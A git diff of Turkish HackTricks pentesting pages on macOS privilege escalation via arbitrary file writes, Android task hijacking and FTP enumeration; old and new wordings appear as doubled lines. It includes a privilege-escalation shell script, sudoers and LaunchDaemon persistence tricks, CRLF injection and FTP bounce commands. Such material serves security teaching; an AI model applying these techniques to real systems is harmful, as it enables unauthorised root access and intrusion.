Bundles, **`_CodeSignature/CodeResources`** dosyasını içerir ve bu dosya **bündle** içindeki her **dosyanın karma** değerini içerir. CodeResources'un karma değeri ayrıca **yürütülebilir dosyaya gömülüdür**, bu nedenle onunla oynayamayız.
Ancak, bazı dosyaların imzası kontrol edilmeyecektir, bunlar plist içinde omit anahtarına sahiptir, örneğin:
Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit anahtarına sahiptir, örneğin:
```xml
<dict>
...
@ -202,17 +202,15 @@ Ancak, bazı dosyaların imzası kontrol edilmeyecektir, bunlar plist içinde om
...
</dict>
```
Aşağıdaki komutu kullanarak bir kaynağın imzasını hesaplamak mümkündür:
Kaynak dosyanın imzasını terminal üzerinden hesaplamak mümkündür:
{% code overflow="wrap" %}
```bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
```
## Dmg'leri Bağlama
## Dmg Dosyalarını Bağlama
Bir kullanıcı, mevcut bazı klasörlerin üzerine bile özel içeriğe sahip bir dmg oluşturabilir. İşte özel içeriğe sahip bir dmg paketi nasıl oluşturulacağı:
{% code overflow="wrap" %}
Bir kullanıcı, hatta bazı mevcut klasörlerin üstüne bile özel içeriklerle oluşturulmuş bir dmg dosyasını bağlayabilir. İşte özel içeriklerle özel bir dmg paketi oluşturabileceğiniz bir örnek:
```bash
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
@ -235,17 +233,17 @@ hdiutil create -srcfolder justsome.app justsome.dmg
```
{% endcode %}
## Keyfi Yazılar
## Rastgele Yazma İşlemleri
### Periyodik sh betikleri
Eğer betiğiniz bir **shell betiği** olarak yorumlanabilirse, her gün tetiklenecek olan **`/etc/periodic/daily/999.local`** shell betiğini üzerine yazabilirsiniz.
Eğer betiğiniz bir **kabuk betiği** olarak yorumlanabilirse, her gün tetiklenecek olan **`/etc/periodic/daily/999.local`** kabuk betiğini üzerine yazabilirsiniz.
Bu betiği şu şekilde **sahte** bir şekilde çalıştırabilirsiniz: **`sudo periodic daily`**
### Daemonlar
Bir keyfi **LaunchDaemon** yazın, örneğin **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** adında bir plist ile keyfi bir betik çalıştırın:
Rastgele bir **LaunchDaemon** yazın ve içinde şu şekilde rastgele bir betik çalıştıran bir plist dosyası oluşturun: **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -262,32 +260,44 @@ Bir keyfi **LaunchDaemon** yazın, örneğin **`/Library/LaunchDaemons/xyz.hackt
</dict>
</plist>
```
`/Applications/Scripts/privesc.sh` adlı betiği **kök olarak** çalıştırmak istediğiniz **komutlarla** oluşturun.
### Sudoers Dosyası
**Keyfi yazma** yeteneğiniz varsa, kendinize **sudo** ayrıcalıkları veren **`/etc/sudoers.d/`** klasörü içinde bir dosya oluşturabilirsiniz.
Eğer **keyfi yazma** yetkiniz varsa, kendinize **sudo** ayrıcalıkları veren bir dosya oluşturabilirsiniz. Bu dosya **`/etc/sudoers.d/`** klasörü içinde yer almalıdır.
### PATH Dosyaları
**`/etc/paths`** dosyası, PATH ortam değişkenini dolduran ana yerlerden biridir. Üzerine yazmak için kök kullanıcı olmanız gerekmektedir, ancak bir **ayrıcalıklı işlem** tarafından **tam yol belirtilmeden** çalıştırılan bir betik, bu dosyayı değiştirerek onu **ele geçirmenize** olanak sağlayabilir.
**`/etc/paths`** dosyası, PATH ortam değişkenini dolduran ana yerlerden biridir. Bu dosyayı üzerine yazmak için root olmanız gerekmektedir, ancak bir **yetkili işlem** tarafından **tam yol olmadan komut** çalıştırılıyorsa, bu dosyayı değiştirerek bunu **ele geçirebilirsiniz**.
&#x20;Yeni klasörleri `PATH` ortam değişkenine yüklemek için **`/etc/paths.d`** klasörüne de dosya yazabilirsiniz.
`PATH` ortam değişkenine yeni klasörler yüklemek için **`/etc/paths.d`** içinde dosyalar yazabilirsiniz.
## Diğer kullanıcılar tarafından yazılabilir dosyalar oluşturma
Bu, benim tarafımdan yazılabilir olan root'a ait bir dosya oluşturacaktır ([**buradan kod**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew\_lpe.sh)). Bu ayrıca bir ayrıcalık yükseltme olarak çalışabilir.
```bash
DIRNAME=/usr/local/etc/periodic/daily
mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"
MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername
FILENAME=$(ls "$DIRNAME")
echo $FILENAME
```
## Referanslar
* [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,82 +2,70 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
## Görev, Geri Yığın ve Ön Plandaki Etkinlikler
En önemli güvenlik açıklarını bulun ve daha hızlı düzeltebilin. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Görev, Arka Yığın ve Ön Plandaki Etkinlikler
Android'de, bir **görev** temel olarak belirli bir işi tamamlamak için kullanıcıların etkileşimde bulunduğu etkinlikler kümesidir ve bir **arka yığın** içinde düzenlenir. Bu yığın, etkinliklerin açıldığı sıraya göre sıralanır ve en son etkinlik, **ön plandaki etkinlik** olarak ekranın üstünde görüntülenir. Herhangi bir anda, sadece bu etkinlik ekranda görünür ve bu da onu **ön plandaki görevin** bir parçası yapar.
Android'de bir **görev** temelde kullanıcıların belirli bir işi tamamlamak için etkileşimde bulunduğu etkinlikler kümesidir ve bir **geri yığın** içinde düzenlenir. Bu yığın etkinlikleri açıldıkları sıraya göre sıralar ve en son etkinliği **ön plandaki etkinlik** olarak en üstte görüntüler. Her an sadece bu etkinlik ekranda görünür, bu da onu **ön plandaki görevin** bir parçası yapar.
İşte etkinlik geçişlerinin hızlı bir açıklaması:
- **Etkinlik 1**, başlangıçta ön plandaki tek etkinlik olarak başlar.
- **Etkinlik 2**'yi başlatmak, **Etkinlik 1**'i arka yığına iter ve **Etkinlik 2**'yi ön plana çıkarır.
- **Etkinlik 3**'ü başlatmak, **Etkinlik 1** ve **Etkinlik 2**'yi daha da geriye iter ve şimdi **Etkinlik 3** ön plandadır.
- **Etkinlik 3**'ü kapatmak, **Etkinlik 2**'yi tekrar ön plana çıkarır ve Android'in akıcı görev gezinme mekanizmasını sergiler.
* **Etkinlik 1** yalnızca ön planda başlar.
* **Etkinlik 2**'yi başlatmak, **Etkinlik 1**'i geri yığına iter ve **Etkinlik 2**'yi ön plana getirir.
* **Etkinlik 3**'ü başlatmak, **Etkinlik 1** ve **Etkinlik 2**'yi yığında daha geriye taşır ve şimdi **Etkinlik 3** önde.
* **Etkinlik 3**'ü kapatmak, **Etkinlik 2**'yi tekrar ön plana getirir, Android'in akıcı görev gezinme mekanizmasını sergiler.
![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../.gitbook/assets/image (548).png>)
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (548).png>)
## Görev bağlılık saldırısı
## Görev bağlı saldırı
### Görev Bağlılığı ve Başlatma Modlarının Genel Bakışı
### Görev Bağlılık ve Başlatma Modlarının Genel Bakışı
Android uygulamalarında, **görev bağlılığı** bir etkinliğin tercih edilen görevini belirtir ve genellikle uygulamanın paket adıyla uyumlu olur. Bu yapı, saldırıyı göstermek için bir kanıt-of-kavram (PoC) uygulaması oluşturmada önemli bir rol oynar.
Android uygulamalarında, **görev bağlılık** bir etkinliğin tercih ettiği görevi belirtir ve genellikle uygulamanın paket adıyla uyumlu olur. Bu kurulum, saldırıyı göstermek için bir kanıt-of-konsept (PoC) uygulaması oluşturmada önemlidir.
### Başlatma Modları
`launchMode` özelliği, etkinlik örneklerinin görevler içinde nasıl ele alınacağını yönlendirir. **singleTask** modu, mevcut etkinlik örneklerine ve görev bağlılık eşleşmelerine dayanan üç senaryoyu belirler. Saldırı, saldırganın uygulamasının hedef uygulamanın görev bağlılığını taklit etme yeteneğine dayanır ve Android sistemini istenen hedef yerine saldırganın uygulamasını başlatmaya yanıltır.
`launchMode` özelliği etkinlik örneklerinin görevler içinde nasıl ele alınacağını yönlendirir. **singleTask** modu bu saldırı için kilit rol oynar ve mevcut etkinlik örnekleri ve görev bağlılık eşleşmelerine dayanan üç senaryoyu belirler. Saldırı, bir saldırganın uygulamasının hedef uygulamanın görev bağlılığını taklit etme yeteneğine dayanır, Android sistemini hedeflenen uygulama yerine saldırganın uygulamasını başlatmaya yanıltır.
### Detaylı Saldırı Adımları
1. **Kötü Amaçlı Uygulama Kurulumu**: Kurban, saldırganın uygulamasını cihazına kurar.
2. **İlk Etkinleştirme**: Kurban ilk kez kötü amaçlı uygulamayı açar ve saldırı için cihazı hazırlar.
3. **Hedef Uygulama Başlatma Denemesi**: Kurban, hedef uygulamayı açmaya çalışır.
2. **İlk Aktivasyon**: Kurban önce kötü amaçlı uygulamayı açar ve cihazı saldırıya hazırlar.
3. **Hedef Uygulama Başlatma Denemesi**: Kurban hedef uygulamayı açmaya çalışır.
4. **Kaçırma Yürütme**: Eşleşen görev bağlılığı nedeniyle, hedef uygulama yerine kötü amaçlı uygulama başlatılır.
5. **Yanıltma**: Kötü amaçlı uygulama, hedef uygulamayı andıran sahte bir giriş ekranı sunarak kullanıcıyı hassas bilgileri girmeye kandırır.
5. **Aldatma**: Kötü amaçlı uygulama, hedef uygulamayı andıran sahte bir giriş ekranı sunarak kullanıcıyı hassas bilgileri girmeye kandırır.
Bu saldırının pratik bir uygulaması için GitHub'daki Task Hijacking Strandhogg deposuna başvurun: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg).
Bu saldırının pratik bir uygulaması için GitHub'daki Task Hijacking Strandhogg deposuna başvurun: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
### Önleme Önlemleri
Bu tür saldırıları önlemek için geliştiriciler, `taskAffinity`'yi boş bir dize olarak ayarlayabilir ve `singleInstance` başlatma modunu tercih edebilir, böylece uygulamalarının diğerlerinden izole olduğunu sağlar. `onBackPressed()` işlevini özelleştirme, görev kaçırma saldırılarına karşı ek koruma sağlar.
Bu tür saldırıları önlemek için geliştiriciler `taskAffinity`'yi boş bir dize olarak ayarlayabilir ve `singleInstance` başlatma modunu seçebilir, böylece uygulamalarını diğerlerinden izole edebilirler. `onBackPressed()` işlevini özelleştirme, görev kaçırma saldırılarına karşı ek koruma sağlar.
## **Referanslar**
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun ve daha hızlı düzeltebilin. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details>

View file

@ -2,47 +2,39 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) alın
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli olan zayıflıkları bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Temel Bilgiler
**Dosya Transfer Protokolü (FTP)**, bir sunucu ve istemci arasında bir bilgisayar ağı üzerinde dosya transferi için standart bir protokol olarak hizmet eder.\
Bu, bazen **`telnet`** veya **`nc -C`** kullanarak bağlanmanız gerekebilen **düz metin** bir protokoldür.
**Dosya Transfer Protokolü (FTP)**, bir sunucu ve bir istemci arasında bir bilgisayar ağı üzerinde dosya transferi için standart bir protokol olarak hizmet verir.\
**Düz metin** protokolüdür ve bazen **`telnet`** veya **`nc -C`** kullanarak bağlantı kurmanız gerekebilir.
**Varsayılan Port:** 21
```
PORT STATE SERVICE
21/tcp open ftp
```
### Aktif ve Pasif Bağlantılar
### Bağlantılar Aktif ve Pasif
**Aktif FTP**'de FTP **istemcisi**, kontrol bağlantısını ilk olarak N numaralı bağlantı noktasından FTP Sunucusunun komut bağlantı noktasına (21 numaralı bağlantı noktası) başlatır. İstemci daha sonra N+1 numaralı bağlantı noktasını dinler ve N+1 numaralı bağlantı noktasını FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri bağlantısını, kendi M numaralı bağlantı noktasından FTP İstemcisinin N+1 numaralı bağlantı noktasına başlatır.
**Aktif FTP**'de FTP **istemcisi** önce kontrol bağlantısını port N'den FTP Sunucusunun komut portuna - port 21'e başlatır. **İstemci** daha sonra port N+1'i dinler ve port N+1'i FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını**, **kendi portu M'den FTP İstemcisinin portu N+1'e** başlatır.
Ancak, eğer FTP İstemcisinin dışarıdan gelen veri bağlantılarını kontrol eden bir güvenlik duvarı kurulumu varsa, aktif FTP bir sorun olabilir. Bunun için uygun bir çözüm Pasif FTP'dir.
Ancak, eğer FTP İstemcisinin dışarıdan gelen veri bağlantılarını kontrol eden bir güvenlik duvarı kurulumu varsa, aktif FTP bir sorun olabilir. Ve, bunun için uygun bir çözüm Pasif FTP'dir.
**Pasif FTP**'de, istemci kontrol bağlantısını N numaralı bağlantı noktasından FTP Sunucusunun 21 numaralı bağlantı noktasına başlatır. Bundan sonra, istemci bir **passv komutu** gönderir. Sunucu daha sonra istemciye kendi bir bağlantı noktası numarası M gönderir. Ve **istemci**, veri bağlantısını, kendi P numaralı bağlantı noktasından FTP Sunucusunun M numaralı bağlantı noktasına başlatır.
**Pasif FTP**'de, istemci kontrol bağlantısını port N'den FTP Sunucusunun port 21'ine başlatır. Bundan sonra, istemci bir **passv komutu** verir. Sunucu daha sonra istemciye kendi port numarasından M birini gönderir. Ve **istemci**, veri **bağlantısını** **kendi portu P'den FTP Sunucusunun portu M'ye** başlatır.
Kaynak: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### Bağlantı hata ayıklama
### Bağlantı Hata Ayıklama
**FTP** komutları **`debug`** ve **`trace`**, iletişimin nasıl gerçekleştiğini görmek için kullanılabilir.
**FTP** komutları **`debug`** ve **`trace`** kullanılarak **iletişimin nasıl gerçekleştiğini** görmek için kullanılabilir.
## Numaralandırma
@ -52,24 +44,6 @@ nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
```
### FTP'ye starttls kullanarak bağlanma
Bazı FTP sunucuları, güvenli bir bağlantı sağlamak için STARTTLS (Transport Layer Security) protokolünü destekler. Bu protokolü kullanarak FTP sunucusuna bağlanabilir ve verilerinizi şifreleyebilirsiniz.
1. Öncelikle, FTP sunucusuna bağlanmak için bir FTP istemcisi kullanmanız gerekmektedir. Örneğin, FileZilla veya WinSCP gibi popüler FTP istemcilerini tercih edebilirsiniz.
2. FTP istemcinizi açın ve sunucu adresini, kullanıcı adını ve parolayı girin.
3. Bağlantı ayarlarınızı yapılandırırken, sunucu türünü "FTP - File Transfer Protocol" olarak seçin.
4. Genellikle, FTP sunucuları varsayılan olarak şifreleme kullanmaz. Bu nedenle, sunucuyla güvenli bir bağlantı kurmak için "FTP over TLS" veya "FTP over SSL" seçeneğini etkinleştirmeniz gerekebilir.
5. Ayarları yapılandırdıktan sonra, bağlantı düğmesine tıklayarak FTP sunucusuna bağlanın.
6. FTP sunucusu, STARTTLS komutunu destekliyorsa, bağlantı kurulduktan sonra sunucu tarafından bir güvenlik sertifikası sunulacaktır. Bu sertifikayı doğrulayın ve kabul edin.
7. STARTTLS başarıyla tamamlandıktan sonra, FTP istemcisi ve sunucusu arasındaki veri iletişimi şifrelenecektir.
Bu şekilde, FTP sunucusuna starttls kullanarak güvenli bir bağlantı kurabilir ve verilerinizi koruyabilirsiniz.
```
lftp
lftp :~> set ftp:ssl-force true
@ -85,7 +59,7 @@ lftp 10.10.10.208:~> login username Password
```bash
sudo nmap -sV -p21 -sC -A 10.10.10.10
```
FTP sunucusu hakkında bazı bilgiler elde etmek için `HELP` ve `FEAT` komutlarını kullanabilirsiniz:
Kullanabileceğiniz komutlar `HELP` ve `FEAT` FTP sunucusundan bazı bilgileri almak için:
```
HELP
214-The following commands are recognized (* =>'s unimplemented):
@ -135,33 +109,25 @@ ftp <IP>
>ascii #Set transmission to ascii instead of binary
>bye #exit
```
### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp)
### [Kaba kuvvet saldırısı](../../generic-methodologies-and-resources/brute-force.md#ftp)
İşte varsayılan ftp kimlik bilgileriyle ilgili güzel bir liste bulabilirsiniz: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
İşte varsayılan ftp kimlik bilgileriyle güzel bir liste bulabilirsiniz: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### Otomatik
Anonim giriş ve bounce FTP kontrolleri, nmap tarafından varsayılan olarak **-sC** seçeneğiyle veya aşağıdaki komutla gerçekleştirilir:
Anonim giriş ve bounce FTP kontrolleri varsayılan olarak nmap tarafından **-sC** seçeneği ile veya:
```bash
nmap --script ftp-* -p 21 <ip>
```
## Tarayıcı bağlantısı
Bir FTP sunucusuna tarayıcı (örneğin Firefox) kullanarak şu şekilde bir URL kullanarak bağlanabilirsiniz:
Bir FTP sunucusuna tarayıcı (örneğin Firefox) kullanarak şu URL'yi kullanarak bağlanabilirsiniz:
```bash
ftp://anonymous:anonymous@10.10.10.98
```
## FTP'ten tüm dosyaları indirme
Eğer bir **web uygulaması**, bir kullanıcı tarafından kontrol edilen verileri **doğrudan bir FTP sunucusuna** gönderiyorsa, çift URL kodlaması `%0d%0a` (çift URL kodlamada `%250d%250a`) baytlarını gönderebilir ve **FTP sunucusunun keyfi eylemler gerçekleştirmesini sağlayabilirsiniz**. Bu olası keyfi eylemlerden biri, kullanıcı tarafından kontrol edilen bir sunucudan içerik indirmek, port taraması yapmak veya diğer düz metin tabanlı hizmetlerle iletişim kurmaya çalışmaktır (örneğin http).
FTP sunucusundan tüm dosyaları indirmek için aşağıdaki adımları izleyebilirsiniz:
1. Bir FTP istemcisi kullanarak FTP sunucusuna bağlanın.
2. Oturum açmak için gerekli kimlik bilgilerini sağlayın.
3. Sunucu üzerindeki tüm dosyaları listelemek için `LIST` komutunu kullanın.
4. Dosyaları indirmek için `RETR` komutunu kullanın.
5. İndirilen dosyaları belirli bir konuma kaydedin.
Bu adımları takip ederek FTP sunucusundaki tüm dosyaları indirebilirsiniz.
## FTP'den tüm dosyaları indir
```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
@ -175,51 +141,51 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
* **`USER kullanıcı_adı`**
* **`PASS şifre`**
* **`HELP`** Sunucu desteklediği komutları gösterir
* **`PORT 127,0,0,1,0,80`** Bu, FTP sunucusuna 127.0.0.1 IP adresinde 80 numaralı bağlantıyı kurmasını söyler (_5. karakteri "0" ve 6. karakteri ondalık olarak port numarası olarak belirtmelisiniz veya 5. ve 6. karakterleri onaltılık olarak kullanarak port numarasını ifade edebilirsiniz_).
